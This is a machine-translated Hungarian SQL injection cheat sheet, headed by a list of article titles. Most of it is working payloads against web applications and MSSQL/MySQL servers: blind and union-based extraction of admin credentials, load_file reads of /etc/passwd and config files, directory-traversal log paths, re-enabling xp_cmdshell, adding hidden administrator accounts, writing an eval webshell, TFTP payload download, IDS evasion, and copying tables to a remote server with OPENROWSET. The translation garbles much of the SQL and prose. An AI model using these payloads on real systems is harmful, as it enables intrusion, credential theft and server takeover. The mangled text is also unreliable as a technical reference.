MSSQL adatbázis-kereszt lekérdezések (bűzös étel!) Sötét)
Préseld ki az utolsó csepp MS SQL-ből
Az SQL utasítás hivatkozásokat és a rekordkészlet objektumait részletesen elmagyarázzák
Az SQL Serverben tárolt eljárásokról
Készíts webshellet mssql biztonsági mentéssel
SQL_Injection fejlett alkalmazások
Cross-site SQL injection (laokai)
Weird SQL Injection (AMANL)
Fejlett SQL injekció SQL Server alkalmazásokban
Hogyan lehet SQL injekciót használni a könyvtárak átjárásához
Az SQL injekciós technikák végigjátszása (fordító: demonalex)
Néhány támadás SQL adatbázisok ellen
SQL injekciós támadási technika (JSW)
SQL_Injection Fejlett alkalmazások (APACHY)
Az SQL injekciójának szokatlan módszerei (Guilin Veteran)
Tartalék egy héjhoz
Beszélj a php+mysql injekciós állításszerkezetről (Heyhehehehe·≯Super· Hé)
Fejlett SQL injekció MySQL-szel (angel)
L'injection (My)SQL PHP-n keresztül
Oracle SQL Language
SQL manual injection enciklopédia
Az előfeltételekhez eszközök szükségesek: SQL Query Analyzer és SqlExec Sunx Version ============================================================================================== 1. Határozza meg, van-e befecskendezési pont ; és 1=1 és 1=2 2. Gondolom, a tábla neve nem több, mint adminisztrátor, adminisztrátor, felhasználói jelszó, stb.: és 0<>(selectcount(*) a *-ból) és 0<>(select count(*) admintól) — Határozd meg, létezik-e az admin tábla 3. Tippeld ki a számlák számát Ha 0-t találsz< térj vissza a helyes 1-es oldalra< adja vissza a hibaoldalt, hogy jelezze, hogy a szám 1 és 0<(select count(*) admintól) és 1<(kiválasztva a count(*) adminisztrátortól) 4. Találjuk ki a mezőnevet Hozzáadjuk a mezőnevet a len( ) zárójelben. és 1=(select count(*) az adminból, ahol len(*)>0)– és 1=(válassza ki a count(*) az admintól, ahol len(felhasználói mező név)>0) és 1=(válassza ki a count(*) admin-tól, ahol len(_blank>jelszó mező név)>0) 5. Tippeld ki minden mező hosszát Tippeld a hossz az, hogy >0-ra változtassuk, amíg a megfelelő oldal vissza nem jön és 1=(select count(*) az adminból, ahol len(*)>0) és 1=(select count(*) admin-tól, ahol len(name)>6) hiba és 1=(válassz count(*) admin-tól, ahol len(name)>5) a helyes hossz 6 és 1=(válassz count(*) admintól, ahol len(name)=6) helyes és 1=(válassza ki a count(*) adminisztrátortól, ahol len(password)>11) helyes és 1=(válassza ki a count(*) adminisztrátortól, ahol len(password)>12) hibahossz 12 és 1=(válassza ki a count(*) admin-tól, ahol len(password)=12) helyes 6. Találd ki a karaktereket és 1=(select count(*) admintól, ahol left(name,1)=a) — Találd ki a felhasználó fiókjának első számjegyét és 1=(select count(*) admintól, ahol left(name,2)=ab)—Találd ki a felhasználó fiókjának második számjegyét Csak adj hozzá egy karaktert egyszerre, hogy tippelj, elég számjegyet találj ki, és a számlaszám kijön (1) Találd ki a táblázat nevét
Használt mondatok: és létezik (válassz * a tábla nevéből)
Például: és létezik (válassz * admintól)
Ha az oldal helyesen visszhangzik, az azt jelenti, hogy a táblázatnév, amit itt találtunk, helyes, és ha az oldal hibás, akkor az azt jelenti, hogy az itt írt táblanév is helytelen
, majd változtasd meg a táblázat nevét, és folytasd a találgatást, amíg ki nem találod.
Általában a leggyakrabban használt táblanevek admin, manage, user vagy a tool run be put (2) Találd ki a mezőt
Használt mondatok: és létezik (mezőnevet a tábla nevéből válassz)
Például: és létezik (válaszd ki a felhasználónevet az admintól)
Itt, feltételezve, hogy az admin tábla az a táblázat, amit fent jól tippeltem, akkor meg akarom határozni, hogy létezik-e a felhasználónév mező, ezt az állítást kell használnom, ha az oldal
Ha az arc visszhangja helyes, az azt jelenti, hogy a kitalált mezőnév helyes, ha az oldal hibás, akkor az itt írt mezőnév is helytelen
, majd változtasd meg a mező nevét, és folytasd a találgatást, amíg ki nem találod.
Általánosságban a gyakori mezőnevek közé tartoznak a felhasználónév, jelszó, felhasználó, pass, név, pass, pwd, usr, psd és egyéb mezők (3) rendezés
A sorrend az oldalon lévő mezők számának összege, előkészítve a következő közös lekérdezést (4) Union Select
1. Ha támogatja a közös lekérdezést, keresd meg a megjelenítési bitet http://www.xxx.com/product_show.asp?id=1 és az 1=2 unióválasztást
1,2,3,4,5,6,7,8,9,10,11 Tegyük fel, hogy a kijelző bitjei 5,6. Ezután csak a kezelő felhasználónevének és jelszavának megfelelő mezőneveket kell helyettesíteni a megjelenítő bit pozíciójára
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 az adminisztrációtól megtalálta a háttérbejelentkezést 2. Ha a közös lekérdezés nem támogatott Az adminisztrátor felhasználónevét és jelszóját nem lehet megszerezni közös lekérdezés nélkül – Ascii szó szerinti dekódolással Kettő A sort by segítségével ítéld meg a táblázatban lévő bitek számát, és ha nem működik, használd az union select sort, hogy egyenként rendezd őket, itt 8 bitet feltételezünk Három Használj közös lekérdezést a megjelenítő bitek meghatározásához Négy A megjelenítési bitet használva megtaláld az adatbázis nevét, az adatbázis verzió, az 5.0 vagy annál magasabb verzió befecskendezése
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Öt Az adatbázis név segítségével elkezdheted megkapni a táblanév sémáját, = aztán az adatbázis nevének HEX értékét, és kitalálhatod a táblanevet
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 Hat Az elemezett táblapneve határozza meg az adminisztrátor táblacímének HEX értékét, = táblanév, és kitalálja a tábla mezőit http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(JELLEGZETES
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Hét Miután megkaptuk a mezőket az admin táblában, nézzük meg a mezők tartalmát http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(JELLEGZETES
+felhasználónév, 0x5f,userpwd),8+from+pub_webmaster Nyolc A Tool átvizsgálja a hátteret: Jelentkezz be, hogy feltöltsd a Trójat, miután megtaláltad, és ha nem találod a robots.txt fájlt, akkor hozzáférhetsz Kilenc Ha nem találod a háttért, a MYSQL adminisztrátor jelszó feltárul http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user,password),8+from+mysql.user Tíz Véletlenszerűen elérsz egy útvonalat, és a visszajelzés az IIS6 alapértelmezett 404-es oldala, ami azt jelzi, hogy a weboldal szervere a Windows+IIS6+php+MySql környezet c:\\windows\\system32\\inetsrv\MetaBase.xml Ez az út megkapja a weboldal konfigurációs adatait. Konstrukció állítások http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Tizenegy Elemezd a kódot és keresd meg a háttércímet Az első lépésben meg kell kapnunk a táblában szereplő mezők hosszát Használt állítások: és (a tábla nevéből válassz top 1 len-t (mező neve)>0 Például: és (válassz a top 1 len(admin_name) admin-tól)>0 Az oldal normálisan jelenik meg, a mező hossza a admin_name nagyobb, mint 0, és beküldöm:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Az oldal hibát mutat, hogy a mező 0 és 10 között van, és a hossz 5 a dichotómia használatával Ugyanezzel a módszerrel a rendszergaztatói jelszó mező hosszának meghatározására 16 hosszúságot kapok 2. lépés Most térjünk át a második lépéshez: vegyünk egy bizonyos karaktert a mezőben, és megszerezzük a karakter ASCII kódját, amit használunk
Nyilatkozat: és (a tábla nevéből válassz top 1 asc(mid(field name, N,1)))>0 Nézzük meg ezt a mondatot külön, először a legbelső mid (felhasználónév, 1,1) függvényt, amely az admin_name mező, N első karaktere
azt jelzi, hogy az első néhány karaktert el kell fogni, Ezután a külső asc() függvény, amely a mid függvény által elfogott karaktereket ASCII kóddá alakítja, a legkülső felső 1, az első hely visszaküldési mezőjét képviseli
Akkor egy rekord, A végén lévő ">0" az átalakított ASCII kód összehasonlítása ezzel a számmal, és végül az utolsó érték folyamatos változtatásával a lehallgatást kapja
Ismerd meg ennek a karakternek a részleteit. ASCII kód Benyújtás:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Az oldal normálisan jelenik meg, ami azt jelzi, hogy ennek a karakternek az ASCII kódja nagyobb, mint 30. Benyújtás:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Az oldal normálisan jelenik meg, ami azt jelzi, hogy ennek a karakternek az ASCII kódja nagyobb, mint 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 Az ASCII kód, amit végül ehhez a karakterhez kaptam, 97 Hasonlítsuk össze az ASCII táblázatot: Megállapítható, hogy az első karakter "a". Ezután megítélem a második karakter ASCII kódját.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Az oldal normálisan jelenik meg, jelezve, hogy a karakter ASCII kódja nagyobb, mint 90, és az utolsó érték mindig változik Ugyanez a módszer adta az admin jelszavát, és az eredmény az lett, amit kaptam:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 és 1=(válassz top 1 count(*) az Adminból, ahol Asc(mid(pass,5,1))=51) – Ez a lekérdezési nyilatkozat képes kitalálni a kínai felhasználót és _blank> jelszót. Csak cseréld le a következő számokat a kínai ASSIC kódra
Alakíts karakterekre.
Csoportosítjuk users.id 1=1–www.myhack58.com Csoportosítás users.id szerint, users.username, users.password, users.privs 1=1– ; Insert a felhasználók értékeibe (666, támadó, foobar, 0xffff )–
AZ UNION Select TOP 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA-BŐL. OSZLOPOK Ahol
TABLE_blank>_NAME=logintable- AZ UNION Select TOP 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA-BŐL. OSZLOPOK Ahol
TABLE_blank>_NAME=logintable Ahol COLUMN_blank>_NAME NEM BENNE (login_blank>_id)- AZ UNION Select TOP 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA-BŐL. OSZLOPOK Ahol
TABLE_blank>_NAME=logintable Ahol COLUMN_blank>_NAME NEM BE
(login_blank>_id,login_blank>_name)- UNION Select TOP 1 login_blank>_name a logintable-ből – UNION Válassz TOP 1 jelszót a logintable-ból, ahol login_blank>_name=Rahul– Nézd meg a javítást, amit a _blank> szerver játszott = rossz SP4 patch fekete sáv biztonsági háló és 1=(select @@VERSION)–
Nézd meg a _blank> adatbázis-kapcsolati fiók jogosultságait, és normál értéket ad, ami bizonyítja, hogy ez a _blank> szerver szerepének rendszergazta-jogosultsága. és 1=(Select IS_blank>_SRVROLEMEMBER(rendszerinka))–
Határozd meg, hogy az adatbázis fiók _blank> csatlakoztatva. (Használj SA fiókot a csatlakozáshoz, és visszatérj normál = bizonyítsd, hogy a kapcsolt fiók SA) és sa=(Select System_blank>_user)– és user_blank>_name()=dbo– és 0<>(select user_blank>_name()–
Nézd meg, hogy xp_blank>_cmdshell törli-e és 1=(Select count(*) FROM master.dbo.sysobjects, ahol xtype = X AND név = xp_blank>_cmdshell)
–
xp_blank>_cmdshell törlik, helyreállítják, és támogatja az abszolút helyreállítást ; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== adatbázis-jog elérhető a weboldal fizikai útkódjának
========================================================================== 1、drop table [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- Táblázat létrehozása
2、 delete [jm_tmp]; Helyezd be [jm_tmp] vezetői master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
A weboldal könyvtár bekerülése a táblapmezőbe
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data]
desc)=0 '//Exponált mező
4. Dobd le a táblát [jm_tmp] -- töröld ezt a táblázatot. a parancsnokság, hogy megszerezze a hölgyet
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Egyéb állomásútvonalak ======================load_file() Gyakran használt érzékeny információk =========================================== 1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) A fenti kettő egy PHP fájl megtekintése, amely teljes egészében megjeleníti a kódot. Vannak olyan alkalmak, amikor egyes karakterek nem cserélődnek le, például a "<" a "space" helyett, ami visszatér
Weboldal. És a kódot nem lehet megtekinteni.
3. load_file(char(47)) felsorolhatja a FreeBSD és Sunos rendszerek gyökérkönyvtárát
4. Tekintse meg a Linux APACHE virtuális hoszt konfigurációs fájlját az /etc/httpd/conf/httpd.conf vagy az /usr/local/apche/conf/httpd.conf formátumban
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf vagy C:\apache\conf\httpd.conf a WINDOWS megtekintéséhez
System Apache fájl
6. c:/Resin-3.0.14/conf/resin.conf Tekintse meg a jsp által fejlesztett weboldal gyantafájl konfigurációs adatait.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf a Linux rendszeren konfigurált JSP virtuális hoszt megtekintéséhez
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path
11. C:\Windows\system32\inetsrv\MetaBase.xml IIS virtuális hoszt konfigurációs fájljának megtekintése
12. /usr/local/resin-3.0.22/conf/resin.conf a 3.0.22 RESIN konfigurációs fájljának megtekintéséhez
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Ugyanaz, mint fentebb
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuális házigazda
15. Az /etc/sysconfig/iptables a tűzfal szabályzatától függ
16. /usr/local/app/php5 b/php.ini PHP megfelelője
17. /etc/my.cnf MYSQL konfigurációs fájl
18. /etc/redhat kiadású rendszer a Red Hat
19 、C:\mysql\data\mysql\user. A MYD a MYSQL rendszer felhasználói jelszavában található
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 az IP megtekintéséhez.
21. /usr/local/app/php5 b/php.ini //PHP kapcsolódó beállítások
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuális weboldal beállítások
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue megjeleníti a Linux kernel terjesztési adatait
26、/etc/ftpuser
27. Ellenőrizze a műveleti naplófájlt a LINUX user.bash_history vagy .bash_profile alatt
28、/stb/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Kísérletezz magad a reverse PING-t ; használd a mestert; declare @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; vezetője
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Fiók hozzáadása ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Hozzon létre egy virtuális könyvtár E-disket: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Hozzáférési attribútumok: (webshellbe írással) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Különleges _blank> trükk a könyvtár kirobbanásához: :%5c=\ vagy %5 módosítása / és \ használatával a commitáláshoz és 0<>(válassz a top 1 útvonalat a newtable-ből)–
Szerezd meg az adatbázis nevét (1-től 5-ig a rendszer azonosítói, és 6 felett is meg lehet ítélni) és 1=(nevet válassz a master.dbo.sysdatabases adatbázisokból, ahol dbid=7)– és 0<>(selectcount (*) a master.dbo.sysdatabases-ből, ahol name>1 és dbid=6) Küldd be dbid-et sorban = 7,8,9.... További _blank> adatbázis nevek
és 0<>(válassz top 1 nevet a bbs.dbo.sysobjects helyéről, ahol xtype=U) egy táblapba törnek, feltéve, hogy admin és 0<>(válassz a bbs.dbo.sysobjects top 1 nevét, ahol xtype=you és név nincs (Admin)-ben).
Más asztalok. és 0<>(select count(*) a bbs.dbo.sysobjects-ből, ahol xtype=you és name=admin és uid>(str(id))) Az UID numerikus értékét 18779569 uid=id feltételezzük és 0<>(válassz a top 1 nevet a bbs.dbo.syscolumns közül, ahol id=18779569) admin mezőt kap, hamis
Beállítás user_blank>_id és 0<>(válassz a bbs.dbo.syscolumns top 1 nevét, ahol id=18779569 és név nincs benne (id,...)) más mezők feltárására és 0< (válaszd ki a user_blank>_id BBS.dbo.admin oldalról, ahol a felhasználónév>1) a felhasználónev megszerzéséhez Cserébe megkaphatod _blank> jelszót。。。。。 Tegyük fel, hogy vannak olyan mezők, mint user_blank>_id felhasználónév, jelszó stb
és 0<>(selectcount (*) a master.dbo.sysdatabases-ből, ahol name>1 és dbid=6) és 0<>(a bbs.dbo.sysobjects top 1 nevet válassza, ahol xtype=U) a tábla nevéhez és 0<>(válassz top 1 nevet a bbs.dbo.sysobjects fájlból, ahol xtype=you és név nem in(Address)) és 0<>(Select count(*) a bbs.dbo.sysobjects-ből, ahol xtype=U és name=admin és uid>(str(id)))
Határozd meg az id értéket és 0<>(válassz a felső 1 nevet a BBS.dbo.syscolumns oldalról, ahol id=773577794) minden mező
?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* adminitől ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 az admintól (az union, access szintén könnyen használható)
Szerezd meg a WEB útvonalat ; Készítsd el a táblát [dbo]. [csere] ([swappass][char](255)); – és (válassz top 1 swappass-t a swapból)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
Mester... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=RENDSZER
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT beillesztés az útvonalak(útvonal) értékekbe(@test)– ; használd a ku1-et; – ; create table cmd (str image); – Készíts egy táblázat parancsnokságot a képtípusból 1. A xp_cmdshell kiterjesztési folyamat eltávolításának módja a következő állítás használatával:
ha létezik (válassz * a dbo.sysobjects között, ahol id=object_id(N'[dbo].[ xpcmdshell]') és
OBJECTPROPERTY(id,N'IsExtendedProc')=1) az sp_dropextendedproc N'[dbo] vezetője. [xp_cmdshell]'
2. A bővítési folyamat hozzáadásának módja xp_cmdshell a következő állítás használatával:
(1)SQL lekérdezés analizátor
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Először töltsük ki a %s értéket a SqlExec Sunx Version Format opciójában, és írd be a CMD opcióba
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Eltávolítani
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' Vannak xp_blank>_cmdshell tesztelési folyamatok: ; Végrehajtó mester.. xp_blank>_cmdshell igazgató ; Jiaoniang$ master.dbo.sp_blank>_addlogin végrehajtója; – SQL fiókok hozzáadása ; végrehajtó master.dbo.sp_blank>_password null, jiaoniang$, 1866574; – ; Végrehajtó master.dbo.sp_blank>_addsrvrolemember jiaoniang$ rendszergazda; – ; exec master.dbo.xp_blank>_cmdshell net felhasználó jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Végrehajtó mester.. xp_blank>_servicecontrol a kezdés, ütemezd a _blank> szolgáltatás megkezdését Végrehajtó mester.. xp_blank>_servicecontrol start, szerver ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Végrehajtó mester.. xp_blank>_cmdshell tftp - i youip get file.exe – Fájlok feltöltése TFTP-vel
; deklaráld @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\ ; kijelentse @a; halmaz @a=db_blank>_name(); biztonsági adatbázis @a lemez=IP-re A megosztott könyvtár bak.dat Ha korlátozott, igen. válassz * from openrowset(_blank>sqloledb,server; SA; ,válaszd az OK! vezetője
master.dbo.sp_blank>_addlogin hax)
Lekérdezési struktúra: Válaszd ki * FROM hírek Ahol id=... ÉS téma=... ÉS ..... adminand 1=(Select count(*) a [user] helyből, ahol username=áldozat és right(left(userpass,01),1)=1)
és a userpass <> 123 kiválassza; – ; használd a mestert; – :a vagy név, mint fff%; – Egy ffff nevű felhasználót mutat. és 1<>(select count(email) a [felhasználó]-tól); – ; frissítés [felhasználók] állítsa be email=(válassz top 1 nevet a sysobjects-ből, ahol xtype=U és status>0) ahol
név=ffff; – ; frissítés [felhasználók] állítsa be email=(válassz top 1 azonosítót a sysobjects-ból, ahol xtype=you és name=ad) ahol
név=ffff; – ; frissítés [felhasználók] állítsa be email=(válassz top 1 nevet a sysobjects-ből, ahol xtype=you és id>581577110)
ahol név=ffff; – ; frissítés [felhasználók] állítsa be az email=(select top 1 count(ID) a jelszóból), ahol name=ffff; – ; frissítés [felhasználók] állítsa be az email=(válassz top 1 PWD-t a jelszóból, ahol ID=2) ahol név=ffff; – ; frissítés [felhasználók] állítsa be e-mail=(válassz a jelszóból a felső 1 nevet, ahol azonosító=2) ahol név=ffff; – A fenti állítás az, hogy az első felhasználói táblát kell megszerezni az _blank> adatbázisban, és a tábla nevét az ffff felhasználó e-mail mezőjébe helyezni. Az ffff felhasználói profiljának megtekintésével megkaphatod az első táblát, amit AD hívnak Ezután szerezd meg ennek a táblázatnak az azonosítóját az asztal név szerint, hogy megkapd a második tábla nevét
insert into users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Insert into user values (667,123,123,0xffff)– Insert into User értékek (123, admin–, password, 0xffff)– ; és user>0 ; és (select count(*) a sysobjects-ből)>0 ; és (select count(*) a mysysobjects-ből)>0 // a access_blank> adatbázishoz
Felsorolja az adattábla nevét ; frissítse AAA set AAA=(válassz felső 1 nevet a sysobjects-ből, ahol xtype=U és status>0); – Itt frissítik az első tábla nevét az AAA mezőre. Olvasd el az első táblát, a második táblázatot pedig így lehet olvasni (add és name a feltétel után<> az épp kapott tábla neve). ; frissítse AAA setet AAA=(válassz a felső 1 nevet a sysobjects-ből, ahol xtype=U és status>0, és
név<>szavazás); – Ekkor id=1552 és létezik (válassz * az aaa-ból, ahol aaa>5) Olvasd el a második táblát, és olvasd el egyenként, amíg már nem lesz. Az olvasómező így néz ki: ; frissítse AAA set AAA=(select top 1 col_blank>_name(object_blank>_id(tábla név),1)); – Ekkor id=152 és létezik (válassz * az aaa-ból, ahol aaa>5) hibát kap, és megkapja a mező nevét ; frissítse az AAA set AAA=(select top 1 col_blank>_name(object_blank>_id(tábla név),2)); – Ekkor id=152 és létezik (válassz * az aaa-ból, ahol aaa>5) hibát kap, és megkapja a mező nevét
[Adattábla név megszerzése] [Frissítsd a mezőértéket a tábla nevére, majd olvasd fel ennek a mezőnek az értékét, hogy megkapd a táblanevet] Frissítés táblanév set mező=(Válassz Top 1 nevet a sysobjects-ből, ahol xtype=U és status>0 [ és név<>
A táblanév, amit kapsz, Keress egy plusz egy]) [ ahol feltétel] válassz a felső 1 nevet a sysobjects-ból, ahol xtype=te és
állapot>0 és név nincs benne(táblázat1,táblázat2,...) Egy adatbázis-adminisztrátori és rendszergazdai fiók létrehozása _blank> _blank> sebezhetőségi injekció az SQLSERVER-en keresztül [A jelenlegi fióknak a SYSADMIN csoportnak kell lennie]
[Adattábla mező neve megszerezése] [Frissítsd a mező értékét a mező nevére, majd olvasd fel ennek a mezőnek értékét, hogy megkapd a mező nevét] Frissítés táblanév készlete mező=(select top 1 col_blank>_name(object_blank>_id (adattábla neve lekérdezésre), mezőoszlop
Például: 1) [ ahol feltétel]
Az IDS detektálás megkerülése [változók segítségével] ; deklaráld @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\
1. Nyisd meg a távoli _blank> adatbázist Alapvető szintaxis select * from OPENROWSET (SQLOLEDB, server=servername; uid=sa; pwd=123, válassz * az 1. táblázatból ) Paraméterek: (1) OLEDB szolgáltató neve 2. A csatlakozási string paraméter bármely csatlakozó lehet, például select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,
Válassz * a táblázatból 3. Másoljuk le a célállomás teljes _blank> adatbázisát, és helyezd be az összes távoli táblát a helyi táblába.
Alapvető szintaxis: insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, válassz * a táblázat1-ből) Válassz
* a 2. táblázatból Ez a sorutasítás az összes adatot a cél haszt tábla2 táblájából a távoli _blank> adatbázis táblázatába másolja. Megfelelő javítások gyakorlati alkalmazásban
Változtasd meg az IP-címet és a csatlakozási lánc portját, hogy odamutasson, ahol szükséged van, például: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select
* az 1. táblázatból) válassz * a 2. táblázatból insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select
